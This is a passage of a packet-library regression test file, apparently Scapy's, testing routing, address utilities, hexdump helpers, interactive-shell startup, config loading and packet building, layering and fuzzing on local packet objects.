len(routes6) >= 1\n    else:\n        False\nelse:\n    # IPv6 seems disabled. Force a route to ::1\n    conf.route6.routes.append((\"::1\", 128, \"::\", conf.loopback_name, [\"::1\"], 1))\n    conf.route6.ipv6_ifaces = set([conf.loopback_name])\n    True\n\n= Build HBHOptUnknown for IPv6ExtHdrHopByHop with disabled autopad\n~ ipv6 hbh opt\n* Build the HBHOptUnknown of IPv6ExtHdrHopByHop with autopad=0\nv6Opt = HBHOptUnknown(otype=3, optlen=7, optdata=\"Beijing\")\npkt = Ether()/IPv6()/IPv6ExtHdrHopByHop(autopad=0, options=[v6Opt, ])\npkt.build()\n\n= Build HBHOptUnknown for IPv6ExtHdrDestOpt with disabled autopad\n~ ipv6 hbh opt\n* Build the HBHOptUnknown of IPv6ExtHdrDestOpt with autopad=0\nv6Opt = HBHOptUnknown(otype=3, optlen=6, optdata=\"Haikou\")\npkt = Ether()/IPv6()/IPv6ExtHdrDestOpt(autopad=0, options=[v6Opt, ])\npkt.build()\n\n\n= Test read_routes6() - check mandatory routes\n\nimport re\nll_route = re.compile(r\"fe80:\\d{0,2}:\")\n# match fe80::, fe80:5:, etc. (if scoped)\n\nconf.route6\n\nif len(routes6) > 2 and not WINDOWS:\n    # Identify routes to fe80::/64\n    assert sum(1 for r in routes6 if r[0] == \"::1\" and r[4] == [\"::1\"]) >= 1\n    if len(iflist) >= 2:\n        assert sum(1 for r in routes6 if ll_route.match(r[0])) >= 1\n        try:\n            # Identify a route to a node IPv6 link-local address\n            assert sum(1 for r in routes6 if in6_islladdr(r[0]) and r[1] == 128) >= 1\n        except:\n            # IPv6 is not available, but we still check the loopback\n            assert conf.route6.route(\"::/0\") == (conf.loopback_name, \"::\", \"::\")\n            assert sum(1 for r in routes6 if r[1] == 128 and r[4] == [\"::1\"]) >= 1\nelse:\n    True\n\n= Test ifchange()\nconf.route6.ifchange(conf.loopback_name, \"::1/128\")\nif WINDOWS:\n    conf.netcache.in6_neighbor[\"::1\"] = \"ff:ff:ff:ff:ff:ff\"  # Restore fake cache\n\nTrue\n\n= Packet.route()\nassert (Ether() / ARP()).route()[0] is not None\nassert (Ether() / ARP()).payload.route()[0] is not None\nassert (ARP(ptype=0, pdst=\"hello. this isn't a valid IP\")).route()[0] is None\n\n= utils/in4_is*\n\nassert in4_ismaddr(\"224.0.0.1\")\nassert not in4_ismaddr(\"192.168.0.1\")\nassert in4_ismaddr(\"239.0.0.255\")\n\nassert in4_ismlladdr(\"224.0.0.1\")\nassert in4_ismlladdr(\"224.0.0.255\")\nassert not in4_ismlladdr(\"224.0.1.255\")\n\nassert in4_ismgladdr(\"235.0.0.1\")\nassert not in4_ismgladdr(\"224.0.0.1\")\nassert not in4_ismgladdr(\"239.0.0.1\")\n\nassert in4_ismlsaddr(\"239.0.0.1\")\nassert not in4_ismlsaddr(\"224.0.0.1\")\n\nassert in4_isaddrllallnodes(\"224.0.0.1\")\nassert not in4_isaddrllallnodes(\"224.0.0.3\")\n\nassert in4_getnsmac(b'\\xe0\\x00\\x00\\x01') == '01:00:5e:00:00:01'\nassert getmacbyip(\"224.0.0.1\") == '01:00:5e:00:00:01'\n\n= plain_str test\n\ndata = b\"\\xffsweet\\xef celestia\\xab\"\nassert plain_str(data) == \"\\\\xffsweet\\\\xef celestia\\\\xab\"\n\n############\n############\n+ compat.py\n\n= test bytes_hex/hex_bytes\n\nmonty_data = b\"Stop! Who approaches the Bridge of Death must answer me these questions three, 'ere the other side he see.\"\nhex_data = bytes_hex(monty_data)\nassert hex_data == b'53746f70212057686f20617070726f61636865732074686520427269646765206f66204465617468206d75737420616e73776572206d65207468657365207175657374696f6e732074687265652c202765726520746865206f746865722073696465206865207365652e'\nassert hex_bytes(hex_data) == monty_data\n\n= orb/chb\n\nassert orb(b\"\\x01\"[0]) == 1\nassert chb(1) == b\"\\x01\"\n\n############\n############\n+ Main.py tests\n\n= Pickle and unpickle a packet\n\nimport pickle\n\na = IP(dst=\"192.168.0.1\")/UDP()\n\nb = pickle.dumps(a)\nc = pickle.loads(b)\n\nassert c[IP].dst == \"192.168.0.1\"\nassert raw(c) == raw(a)\n\n= Usage test\n\nfrom scapy.main import _usage\ntry:\n    _usage()\n    assert False\nexcept SystemExit:\n    assert True\n\n= Emulate interact()\n~ interact\n\nimport sys\nfrom unittest import mock\nfrom scapy.main import interact\n\nfrom scapy.main import DEFAULT_PRESTART_FILE, DEFAULT_PRESTART, _read_config_file\n_read_config_file(DEFAULT_PRESTART_FILE, _locals=globals(), default=DEFAULT_PRESTART)\n# By now .config/scapy/startup.py should have been created\nwith open(DEFAULT_PRESTART_FILE, \"r\") as fd:\n    OLD_DEFAULT_PRESTART = fd.read()\n\nwith open(DEFAULT_PRESTART_FILE, \"w+\") as fd:\n    fd.write(\"conf.interactive_shell = 'ipython'\")\n\n# Detect IPython\ntry:\n    import IPython\nexcept:\n    code_interact_import = \"scapy.main.code.interact\"\nelse:\n    code_interact_import = \"IPython.embed\"\n\n@mock.patch(code_interact_import)\ndef interact_emulator(code_int, extra_args=[]):\n    try:\n        code_int.side_effect = lambda *args, **kwargs: lambda *args, **kwargs: None\n        interact(argv=[\"-s scapy1\"] + extra_args, mybanner=\"What a test\")\n    finally:\n        sys.ps1 = \">>> \"\n\ninteract_emulator()  # Default\n\ntry:\n    interact_emulator(extra_args=[\"-?\"])  # Failing\n    assert False\nexcept:\n    pass\n\ninteract_emulator(extra_args=[\"-d\"])  # Extended\n\n= Emulate interact() and test startup.py with ptpython\n~ interact\n\nimport sys\nfrom unittest import mock\n\nfrom scapy.main import DEFAULT_PRESTART_FILE, DEFAULT_PRESTART, _read_config_file\n_read_config_file(DEFAULT_PRESTART_FILE, _locals=globals(), default=DEFAULT_PRESTART)\n# By now .config/scapy/startup.py should have been created\nwith open(DEFAULT_PRESTART_FILE, \"w+\") as fd:\n    fd.write(\"conf.interactive_shell = 'ptpython'\")\n\ncalled = []\ndef checker(*args, **kwargs):\n    locals = kwargs.pop(\"locals\")\n    assert locals[\"IP\"]\n    history_filename = kwargs.pop(\"history_filename\")\n    assert history_filename == conf.histfile\n    called.append(True)\n\nptpython_mocked_module = Bunch(\n    repl=Bunch(\n        embed=checker\n    )\n)\n\nmodules_patched = {\n    \"ptpython\": ptpython_mocked_module,\n    \"ptpython.repl\": ptpython_mocked_module.repl,\n    \"ptpython.repl.embed\": ptpython_mocked_module.repl.embed,\n}\n\nwith mock.patch.dict(\"sys.modules\", modules_patched):\n    try:\n        interact()\n    finally:\n        sys.ps1 = \">>> \"\n\n# Restore\nwith open(DEFAULT_PRESTART_FILE, \"w\") as fd:\n    print(OLD_DEFAULT_PRESTART)\n    r = fd.write(OLD_DEFAULT_PRESTART)\n\nassert called\n\n= Test explore() with GUI mode\n~ command\n\nfrom unittest import mock\n\ndef test_explore_gui(is_layer, layer):\n    prompt_toolkit_mocked_module = Bunch(\n                                       shortcuts=Bunch(\n                                           dialogs=Bunch(\n                                               radiolist_dialog=(lambda *args, **kargs: layer),\n                                               button_dialog=(lambda *args, **kargs: \"layers\" if is_layer else \"contribs\")\n                                           )\n                                       ),\n                                       formatted_text=Bunch(HTML=lambda x: x),\n                                       __version__=\"2.0.0\"\n                                   )\n    # a mock.patch isn't enough to mock a module. Let's roll sys.modules\n    modules_patched = {\n        \"prompt_toolkit\": prompt_toolkit_mocked_module,\n        \"prompt_toolkit.shortcuts\": prompt_toolkit_mocked_module.shortcuts,\n        \"prompt_toolkit.shortcuts.dialogs\": prompt_toolkit_mocked_module.shortcuts.dialogs,\n        \"prompt_toolkit.formatted_text\": prompt_toolkit_mocked_module.formatted_text,\n    }\n    with mock.patch.dict(\"sys.modules\", modules_patched):\n        with ContextManagerCaptureOutput() as cmco:\n            explore()\n            result_explore = cmco.get_output()\n        return result_explore\n\nconf.interactive = True\nexplore_dns = test_explore_gui(True, \"scapy.layers.dns\")\nassert \"DNS\" in explore_dns\nassert \"DNS Question Record\" in explore_dns\nassert \"DNSRRNSEC3\" in explore_dns\nassert \"DNS TSIG Resource Record\" in explore_dns\n\nexplore_avs = test_explore_gui(False, \"avs\")\nassert \"AVSWLANHeader\" in explore_avs\nassert \"AVS WLAN Monitor Header\" in explore_avs\n\n= Test explore() with non-GUI mode\n~ command\n\ndef test_explore_non_gui(layer):\n    with ContextManagerCaptureOutput() as cmco:\n        explore(layer)\n        result_explore = cmco.get_output()\n    return result_explore\n\nexplore_dns = test_explore_non_gui(\"scapy.layers.dns\")\nassert \"DNS\" in explore_dns\nassert \"DNS Question Record\" in explore_dns\nassert \"DNSRRNSEC3\" in explore_dns\nassert \"DNS TSIG Resource Record\" in explore_dns\n\nexplore_avs = test_explore_non_gui(\"avs\")\nassert \"AVSWLANHeader\" in explore_avs\nassert \"AVS WLAN Monitor Header\" in explore_avs\n\nassert test_explore_non_gui(\"scapy.layers.dns\") == test_explore_non_gui(\"dns\")\nassert test_explore_non_gui(\"scapy.contrib.avs\") == test_explore_non_gui(\"avs\")\n\ntry:\n    explore(\"unknown_module\")\n    assert False  # The previous should have raised an exception\nexcept Scapy_Exception:\n    pass\n\n= Test load_contrib overwrite\nload_contrib(\"gtp\")\nassert GTPHeader.__module__ == \"scapy.contrib.gtp\"\n\nload_contrib(\"gtp_v2\")\nassert GTPHeader.__module__ == \"scapy.contrib.gtp_v2\"\n\nload_contrib(\"gtp\")\nassert GTPHeader.__module__ == \"scapy.contrib.gtp\"\n\n= Test load_contrib failure\ntry:\n    load_contrib(\"doesnotexist\")\n    assert False\nexcept:\n    pass\n\n= Test sane function\nsane(\"A\\x00\\xFFB\") == \"A..B\"\n\n= Test lhex function\nassert lhex(42) == \"0x2a\"\nassert lhex((28,7)) == \"(0x1c, 0x7)\"\nassert lhex([28,7]) == \"[0x1c, 0x7]\"\n\n= Test restart function\nfrom unittest import mock\nconf.interactive = True\n\ntry:\n    from scapy.utils import restart\n    import os\n    @mock.patch(\"os.execv\")\n    @mock.patch(\"subprocess.call\")\n    @mock.patch(\"os._exit\")\n    def _test(e, m, m2):\n        def check(x, y=[]):\n            z = [x] + y if not isinstance(x, list) else x + y\n            assert os.path.isfile(z[0])\n            assert os.path.isfile(z[1])\n            return 0\n        m2.side_effect = check\n        m.side_effect = check\n        e.side_effect = lambda x: None\n        restart()\n    _test()\nfinally:\n    conf.interactive = False\n\n= Test linehexdump function\nconf_color_theme = conf.color_theme\nconf.color_theme = BlackAndWhite()\nassert linehexdump(Ether(src=\"00:01:02:03:04:05\"), dump=True) == 'FF FF FF FF FF FF 00 01 02 03 04 05 90 00  ..............'\nconf.color_theme = conf_color_theme\n\n= Test chexdump function\nchexdump(Ether(src=\"00:01:02:02:04:05\"), dump=True) == \"0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, 0x02, 0x02, 0x04, 0x05, 0x90, 0x00\"\n\n= Test repr_hex function\nrepr_hex(\"scapy\") == \"7363617079\"\n\n= Test hexstr function\nhexstr(b\"A\\x00\\xFFB\") == \"41 00 FF 42  A..B\"\n\n= Test fletcher16 functions\nassert fletcher16_checksum(b\"\\x28\\x07\") == 22319\nassert fletcher16_checkbytes(b\"\\x28\\x07\", 1) == b\"\\xaf(\"\n\n= Test hexdiff function\n~ not_pypy\ndef test_hexdiff(a, b, algo=None, autojunk=False):\n    conf_color_theme = conf.color_theme\n    conf.color_theme = BlackAndWhite()\n    with ContextManagerCaptureOutput() as cmco:\n        hexdiff(a, b, algo=algo, autojunk=autojunk)\n        result_hexdiff = cmco.get_output()\n    conf.interactive = True\n    conf.color_theme = conf_color_theme\n    return result_hexdiff\n\n# Basic string test\n\nresult_hexdiff = test_hexdiff(\"abcde\", \"abCde\")\nexpected  = \"0000        61 62 63 64 65                                     abcde\\n\"\nexpected += \"     0000   61 62 43 64 65                                     abCde\\n\"\nassert result_hexdiff == expected\n\n# More advanced string test\n\nresult_hexdiff = test_hexdiff(\"add_common_\", \"_common_removed\")\nexpected  = \"0000        61 64 64 5F 63 6F 6D 6D  6F 6E 5F                  add_common_     \\n\"\nexpected += \"     -003            5F 63 6F 6D 6D  6F 6E 5F 72 65 6D 6F 76      _common_remov\\n\"\nexpected += \"     000d   65 64                                              ed\\n\"\nassert result_hexdiff == expected\n\n# Compare packets\n\nresult_hexdiff = test_hexdiff(IP(dst=\"127.0.0.1\", src=\"127.0.0.1\"), IP(dst=\"127.0.0.2\", src=\"127.0.0.1\"))\nexpected  = \"0000        45 00 00 14 00 01 00 00  40 00 7C E7 7F 00 00 01   E.......@.|.....\\n\"\nexpected += \"     0000   45 00 00 14 00 01 00 00  40 00 7C E6 7F 00 00 01   E.......@.|.....\\n\"\nexpected += \"0010        7F 00 00 01                                        ....\\n\"\nexpected += \"     0010   7F 00 00 02                                        ....\\n\"\nassert result_hexdiff == expected\n\n# Compare using difflib\n\na = \"A\" * 1000 + \"findme\" + \"B\" * 1000\nb = \"A\" * 1000 + \"B\" * 1000\nret1 = test_hexdiff(a, b, algo=\"difflib\")\nret2 = test_hexdiff(a, b, algo=\"difflib\", autojunk=True)\n\nexpected_ret1 = \"\"\"\n03d0 03d0   41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA\n03e0        41 41 41 41 41 41 41 41  66 69 6E 64 6D 65 42 42   AAAAAAAAfindmeBB\n     03e0   41 41 41 41 41 41 41 41                    42 42   AAAAAAAA      BB\n03ea 03ea   42 42 42 42 42 42 42 42  42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB\n\"\"\"\nexpected_ret2 = \"\"\"\n03d0 03d0   41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41   AAAAAAAAAAAAAAAA\n03e0        41 41 41 41 41 41 41 41  66 69 6E 64 6D 65 42 42   AAAAAAAAfindmeBB\n     03e0   41 41 41 41 41 41 41 41  42 42 42 42 42 42 42 42   AAAAAAAABBBBBBBB\n03f0 03f0   42 42 42 42 42 42 42 42  42 42 42 42 42 42 42 42   BBBBBBBBBBBBBBBB\n\"\"\"\n\nassert ret1 != ret2\nassert expected_ret1 in ret1\nassert expected_ret2 in ret2\n\n# Test corner cases that should not crash\n\nhexdiff(b\"abc\", IP() / TCP())\nhexdiff(IP() / TCP(), b\"abc\")\n\n= Test mysummary functions - Ether\n\np = Ether(dst=\"ff:ff:ff:ff:ff:ff\", src=\"ff:ff:ff:ff:ff:ff\", type=0x9000)\np\nassert p.mysummary() in ['ff:ff:ff:ff:ff:ff > ff:ff:ff:ff:ff:ff (%s)' % loop\n                         for loop in ['0x9000', 'LOOP']]\n\n= Test zerofree_randstring function\nrandom.seed(0x2807)\nzerofree_randstring(4) in [b\"\\xd2\\x12\\xe4\\x5b\", b'\\xd3\\x8b\\x13\\x12']\n\n= Test strand function\nassert strand(b\"AC\", b\"BC\") == b'@C'\n\n= Test tex_escape function\ntex_escape(\"$#_\") == \"\\\\$\\\\#\\\\_\"\n\n= Test colgen function\nf = colgen(range(3))\nassert len([next(f) for i in range(2)]) == 2\n\n= Test incremental_label function\nf = incremental_label()\nassert [next(f) for i in range(2)] == [\"tag00000\", \"tag00001\"]\n\n= Test corrupt_* functions\nimport random\nrandom.seed(0x2807)\nassert corrupt_bytes(\"ABCDE\") in [b\"ABCDW\", b\"ABCDX\"]\nassert sane(corrupt_bytes(\"ABCDE\", n=3)) in [\"A.8D4\", \".2.DE\"]\n\nassert corrupt_bits(\"ABCDE\") in [b\"EBCDE\", b\"ABCDG\"]\nassert sane(corrupt_bits(\"ABCDE\", n=3)) in [\"AF.EE\", \"QB.TE\"]\n\n= Test whois function\n~ netaccess\n\nif not WINDOWS:\n    result = whois(\"193.0.6.139\")\n    print(result)\n    assert b\"inetnum\" in result and b\"Amsterdam\" in result\n\n= Test manuf DB methods\n~ manufdb\nassert conf.manufdb._resolve_MAC(\"00:00:0F:01:02:03\") == \"Next:01:02:03\"\nassert conf.manufdb._get_short_manuf(\"00:00:0F:01:02:03\") == \"Next\"\nassert in6_addrtovendor(\"fe80::0200:0fff:fe01:0203\").lower().startswith(\"next\")\n\nassert conf.manufdb.lookup(\"00:00:0F:01:02:03\") == ('Next', 'Next, Inc.')\nassert \"00:00:0F\" in conf.manufdb.reverse_lookup(\"Next\")\n\n= Test multiple wireshark's manuf formats\n~ manufdb\n\nnew_format = \"\"\"\n# comment\n00:00:00    JokyIsland    Joky Insland Corp SA\n00:01:12    SecdevCorp    Secdev Corporation SA LLC\nEE:05:01    Scapy         Scapy CO LTD & CIE\nFF:00:11    NoName\n\"\"\"\nold_format = \"\"\"\n# comment\n00:00:00    JokyIsland  #  Joky Insland Corp SA\n00:01:12    SecdevCorp  #  Secdev Corporation SA LLC\nEE:05:01    Scapy       #  Scapy CO LTD & CIE\nFF:00:11    NoName\n\"\"\"\n\nmanuf1 = get_temp_file()\nmanuf2 = get_temp_file()\n\nwith open(manuf1, \"w\") as w:\n    w.write(old_format)\n\nwith open(manuf2, \"w\") as w:\n    w.write(new_format)\n\na = load_manuf(manuf1)\nb = load_manuf(manuf2)\n\nassert a.lookup(\"00:00:00\") == ('JokyIsland', 'Joky Insland Corp SA')\nassert a.lookup(\"FF:00:11:00:00:00\") == ('NoName', 'NoName')\nassert a.reverse_lookup(\"Scapy\") == {'EE:05:01': ('Scapy', 'Scapy CO LTD & CIE')}\nassert a.reverse_lookup(\"Secdevcorp\") == {'00:01:12': ('SecdevCorp', 'Secdev Corporation SA LLC')}\n\n\nassert b.lookup(\"00:00:00\") == ('JokyIsland', 'Joky Insland Corp SA')\nassert b.lookup(\"FF:00:11:00:00:00\") == ('NoName', 'NoName')\nassert b.reverse_lookup(\"Scapy\") == {'EE:05:01': ('Scapy', 'Scapy CO LTD & CIE')}\nassert b.reverse_lookup(\"Secdevcorp\") == {'00:01:12': ('SecdevCorp', 'Secdev Corporation SA LLC')}\n\nscapy_delete_temp_files()\n\n= Test load_services\n\ndata_services = \"\"\"\nitu-bicc-stc\t3097/sctp\ncvsup\t\t5999/udp\t\t\t# CVSup\nx11\t\t6000-6063/tcp\t\t\t# X Window System\nx11\t\t6000-6063/udp\t\t\t# X Window System\nndl-ahp-svc\t6064/tcp\t\t\t# NDL-AHP-SVC\n\"\"\"\n\nservices = get_temp_file()\nwith open(services, \"w\") as w:\n    w.write(data_services)\n\ntcp, udp, sctp = load_services(services)\nassert tcp[6002] == \"x11\"\nassert tcp.ndl_ahp_svc == 6064\nassert tcp.x11 in range(6000, 6093)\nassert udp[6002] == \"x11\"\nassert udp.x11 in range(6000, 6093)\nassert udp.cvsup == 5999\nassert sctp[3097] == \"itu_bicc_stc\"\nassert sctp.itu_bicc_stc == 3097\n\nscapy_delete_temp_files()\n\n= Test utility functions - network related\n~ netaccess\n\nassert atol(\"1.1.1.1\") == 0x1010101\nassert atol(\"192.168.0.1\") == 0xc0a80001\n\n= Test autorun functions\n~ autorun\n\nret = autorun_get_text_interactive_session(\"IP().src\")\nret\nassert ret == (\">>> IP().src\\n'127.0.0.1'\\n\", '127.0.0.1')\n\nret = autorun_get_html_interactive_session(\"IP().src\")\nret\nassert ret == (\"<span class=prompt>&gt;&gt;&gt; </span>IP().src\\n'127.0.0.1'\\n\", '127.0.0.1')\n\nret = autorun_get_latex_interactive_session(\"IP().src\")\nret\nassert ret == (\"\\\\textcolor{blue}{{\\\\tt\\\\char62}{\\\\tt\\\\char62}{\\\\tt\\\\char62} }IP().src\\n'127.0.0.1'\\n\", '127.0.0.1')\n\nret = autorun_get_text_interactive_session(\"scapy_undefined\")\nassert \"NameError\" in ret[0]\n\n= Test autorun with logging\n\ncmds = \"\"\"log_runtime.info(hex_bytes(\"446166742050756e6b\"))\\n\"\"\"\nret = autorun_get_text_interactive_session(cmds)\nret\nassert \"Daft Punk\" in ret[0]\n\n= Test utility TEX functions\n\nassert tex_escape(\"{scapy}\\\\^$~#_&%|><\") == \"{\\\\tt\\\\char123}scapy{\\\\tt\\\\char125}{\\\\tt\\\\char92}\\\\^{}\\\\${\\\\tt\\\\char126}\\\\#\\\\_\\\\&\\\\%{\\\\tt\\\\char124}{\\\\tt\\\\char62}{\\\\tt\\\\char60}\"\n\na = colgen(1, 2, 3)\nassert next(a) == (1, 2, 2)\nassert next(a) == (1, 3, 3)\nassert next(a) == (2, 2, 1)\nassert next(a) == (2, 3, 2)\nassert next(a) == (2, 1, 3)\nassert next(a) == (3, 3, 1)\nassert next(a) == (3, 1, 2)\nassert next(a) == (3, 2, 3)\n\n= Test config file functions\n\nsaved_conf_verb = conf.verb\nfd, fname = tempfile.mkstemp()\nos.write(fd, b\"conf.verb = 42\\n\")\nos.close(fd)\nfrom scapy.main import _read_config_file\n_read_config_file(fname, globals(), locals())\nassert conf.verb == 42\nconf.verb = saved_conf_verb\n\n= Test config file functions failures\n\nfrom scapy.main import _read_config_file, _probe_config_folder\nassert _read_config_file(_probe_config_folder(\"filethatdoesnotexistnorwillever.tsppajfsrdrr\")) is None\n\n= Test CacheInstance repr\n\nconf.netcache\n\n= Test pyx detection functions\n\nfrom unittest.mock import patch\n\ndef _r(*args, **kwargs):\n    raise OSError\n\nwith patch(\"scapy.libs.test_pyx.subprocess.check_call\", _r):\n    from scapy.libs.test_pyx import _test_pyx\n    assert _test_pyx() == False\n\n= Test matplotlib detection functions\n\nfrom unittest.mock import MagicMock, patch\n\nbck_scapy_libs_matplot = sys.modules.get(\"scapy.libs.matplot\", None)\nif bck_scapy_libs_matplot:\n    del sys.modules[\"scapy.libs.matplot\"]\n\nmock_matplotlib = MagicMock()\nmock_matplotlib.get_backend.return_value = \"inline\"\nmock_matplotlib.pyplot = MagicMock()\nmock_matplotlib.pyplot.plt = None\nwith patch.dict(\"sys.modules\", **{ \"matplotlib\": mock_matplotlib, \"matplotlib.lines\": mock_matplotlib}):\n    from scapy.libs.matplot import MATPLOTLIB, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS, Line2D\n    assert MATPLOTLIB == 1\n    assert MATPLOTLIB_INLINED == 1\n    assert \"marker\" in MATPLOTLIB_DEFAULT_PLOT_KARGS\n\nmock_matplotlib.get_backend.return_value = \"ko\"\nwith patch.dict(\"sys.modules\", **{ \"matplotlib\": mock_matplotlib, \"matplotlib.lines\": mock_matplotlib}):\n    from scapy.libs.matplot import MATPLOTLIB, MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS\n    assert MATPLOTLIB == 1\n    assert MATPLOTLIB_INLINED == 0\n    assert \"marker\" in MATPLOTLIB_DEFAULT_PLOT_KARGS\n\nif bck_scapy_libs_matplot:\n    sys.modules[\"scapy.libs.matplot\"] = bck_scapy_libs_matplot\n\n\n############\n############\n+ Basic tests\n\n* Those test are here mainly to check nothing has been broken\n* and to catch Exceptions\n\n= Packet class methods\np = IP()/ICMP()\nret = p.do_build_ps()                                                                                                                             \nassert ret[0] == b\"@\\x00\\x00\\x00\\x00\\x01\\x00\\x00@\\x01\\x00\\x00\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\nassert len(ret[1]) == 2\n\nassert p[ICMP].firstlayer() == p\n\nassert p.command() == \"IP()/ICMP()\"\n\np.decode_payload_as(UDP)\nassert p.sport == 2048 and p.dport == 63487\n\n= hide_defaults\nconf_color_theme = conf.color_theme\nconf.color_theme = BlackAndWhite()\np = IP(ttl=64)/ICMP()\nassert repr(p) in [\"<IP  frag=0 ttl=64 proto=icmp |<ICMP  |>>\", \"<IP  frag=0 ttl=64 proto=1 |<ICMP  |>>\"]\np.hide_defaults()\nassert repr(p) in [\"<IP  frag=0 proto=icmp |<ICMP  |>>\", \"<IP  frag=0 proto=1 |<ICMP  |>>\"]\nconf.color_theme = conf_color_theme\n\n= split_layers\np = IP()/ICMP()\ns = raw(p)\nsplit_layers(IP, ICMP, proto=1)\nassert Raw in IP(s)\nbind_layers(IP, ICMP, frag=0, proto=1)\n\n= fuzz\n\nr = fuzz(IP(tos=2)/ICMP())\nassert r.tos == 2\nz = r.ttl\nassert r.ttl != z\nassert r.ttl != z\n\n\n= fuzz a Packet with MultipleTypeField\n\nfuzz(ARP(pdst=\"127.0.0.1\"))\nfuzz(IP()/ARP(pdst='10.0.0.254'))\n\n= fuzz on packets with advanced RandNum\n\nx = IP(dst=\"8.8.8.8\")/fuzz(UDP()/NTP(version=4))\nx.show2()\nx = IP(raw(x))\nassert NTP in x\n\n= fuzz on packets with FlagsField\nassert isinstance(fuzz(TCP()).flags, VolatileValue)\n\n= Building some packets\n~ basic IP TCP UDP NTP LLC SNAP Dot11\nIP()/TCP()\nEther()/IP()/UDP()/NTP()\nDot11()/LLC()/SNAP()/IP()/TCP()/\"XXX\"\nIP(ttl=25)/TCP(sport=12, dport=42)\nIP().summary()\n\n= Manipulating some packets\n~ basic IP TCP\na=IP(ttl=4)/TCP()\na.ttl\na.ttl=10\ndel a.ttl\na.ttl\nTCP in a\na[TCP]\na[TCP].dport=[80,443]\na\nassert a.copy().time == a.time\na=3\n\n= Bind string array as payload\n~ basic\nassert bytes(Raw(\"sca\")/\"py\") == b\"scapy\"\nassert bytes(Raw(\"sca\")/b\"py\") == b\"scapy\"\nassert bytes(Raw(\"sca\")/bytearray(b\"py\")) == b\"scapy\"\nassert bytes(\"sca\"/Raw(\"py\")) == b\"scapy\"\nassert bytes(b\"sca\"/Raw(\"py\")) == b\"scapy\"\nassert bytes(bytearray(b\"sca\")/Raw(\"py\")) == b\"scapy\"\na=Raw(\"sca\")\na.add_payload(\"py\")\nassert bytes(a) == b\"scapy\"\na=Raw(\"sca\")\na.add_payload(b\"py\")\nassert bytes(a) == b\"scapy\"\na=Raw(\"sca\")\na.add_payload(bytearray(b\"py\"))\nassert bytes(a) == b\"scapy\"\n\n= Checking overloads\n~ basic IP TCP Ether\na=Ether()/IP()/TCP()\nr = a.proto\nr\nr == 6\n\n\n= sprintf() function\n~ basic sprintf Ether IP UDP NTP\na=Ether()/IP()/IP(ttl=4)/UDP()/NTP()\nr = a.sprintf(\"%type% %IP.ttl% %#05xr,UDP.sport% %IP:2.ttl%\")\nr\nr in ['0x800 64 0x07b 4', 'IPv4 64 0x07b 4']\n\n\n= sprintf() function \n~ basic sprintf IP TCP SNAP LLC Dot11\n* This test is on the conditional substring feature of <tt>sprintf()</tt>\na=Dot11()/LLC()/SNAP()/IP()/TCP()\nr = a.sprintf(\"{IP:{TCP:flags=%TCP.flags%}{UDP:port=%UDP.ports%} %IP.src%}\")\nr\nr == 'flags=S 127.0.0.1'\n\n\n= haslayer function\n~ basic haslayer IP TCP ICMP ISAKMP\nx=IP(id=1)/ISAKMP_payload_SA(prop=ISAKMP_payload_SA(prop=IP()/ICMP()))/TCP()\nr = (TCP in x, ICMP in x, IP in x, UDP in x)\nr\nr == (True,True,True,False)\n\n= getlayer function\n~ basic getlayer IP ISAKMP UDP\nx=IP(id=1)/ISAKMP_payload_SA(prop=IP(id=2)/UDP(dport=1))/IP(id=3)/UDP(dport=2)\nx[IP]\nx[IP:2]\nx[IP:3]\nx.getlayer(IP,3)\nx.getlayer(IP,4)\nx[UDP]\nx[UDP:1]\nx[UDP:2]\nassert(x[IP].id == 1 and x[IP:2].id == 2 and x[IP:3].id == 3 and \n       x.getlayer(IP).id == 1 and x.getlayer(IP,3).id == 3 and\n       x.getlayer(IP,4) == None and\n       x[UDP].dport == 1 and x[UDP:2].dport == 2)\ntry:\n    x[IP:4]\nexcept IndexError:\n    True\nelse:\n    False\n\n= getlayer / haslayer with name\n~ basic getlayer IP ICMP IPerror TCPerror\nx = IP() / ICMP() / IPerror()\nassert x.getlayer(ICMP) is not None\nassert x.getlayer(IPerror) is not None\nassert x.getlayer(\"IP in ICMP\") is not None\nassert x.getlayer(TCPerror) is None\nassert x.getlayer(\"TCP in ICMP\") is None\nassert x.haslayer(ICMP)\nassert x.haslayer(IPerror)\nassert x.haslayer(\"IP in ICMP\")\nassert not x.haslayer(TCPerror)\nassert not x.haslayer(\"TCP in ICMP\")\n\n= getlayer with a filter\n~ getlayer IP\npkt = IP() / IP(ttl=3) / IP()\nassert pkt[IP::{\"ttl\":3}].ttl == 3\nassert pkt.getlayer(IP, ttl=3).ttl == 3\nassert IPv6ExtHdrHopByHop(options=[HBHOptUnknown()]).getlayer(HBHOptUnknown, otype=42) is None\n\n= specific haslayer and getlayer implementations for EAP\n~ haslayer getlayer EAP\npkt = Ether() / EAPOL() / EAP_MD5()\nassert EAP in pkt\nassert pkt.haslayer(EAP)\nassert isinstance(pkt[EAP], EAP_MD5)\nassert isinstance(pkt.getlayer(EAP), EAP_MD5)\n\n= specific haslayer and getlayer implementations for RadiusAttribute\n~ haslayer getlayer RadiusAttribute\npkt = RadiusAttr_EAP_Message()\nassert RadiusAttribute in pkt\nassert pkt.haslayer(RadiusAttribute)\nassert isinstance(pkt[RadiusAttribute], RadiusAttr_EAP_Message)\nassert isinstance(pkt.getlayer(RadiusAttribute), RadiusAttr_EAP_Message)\n\n\n= equality\n~ basic\nw=Ether()/IP()/UDP(dport=53)\nx=Ether()/IP(version=4)/UDP()\ny=Ether()/IP()/UDP(dport=4)\nz=Ether()/IP()/UDP()/NTP()\nt=Ether()/IP()/TCP()\nassert x != y and x != z and x != t and y != z and y != t and z != t and w == x\n\n= answers\n~ basic\na1, a2 = \"1.2.3.4\", \"5.6.7.8\"\np1 = IP(src=a1, dst=a2)/ICMP(type=8)\np2 = IP(src=a2, dst=a1)/ICMP(type=0)\nassert p1.hashret() == p2.hashret()\nassert not p1.answers(p2)\nassert p2.answers(p1)\nassert p1 > p2\nassert p2 < p1\nassert p1 == p1\nconf_back = conf.checkIPinIP\nconf.checkIPinIP = True\npx = [IP()/p1, IPv6()/p1]\nassert not any(p.hashret() == p2.hashret() for p in 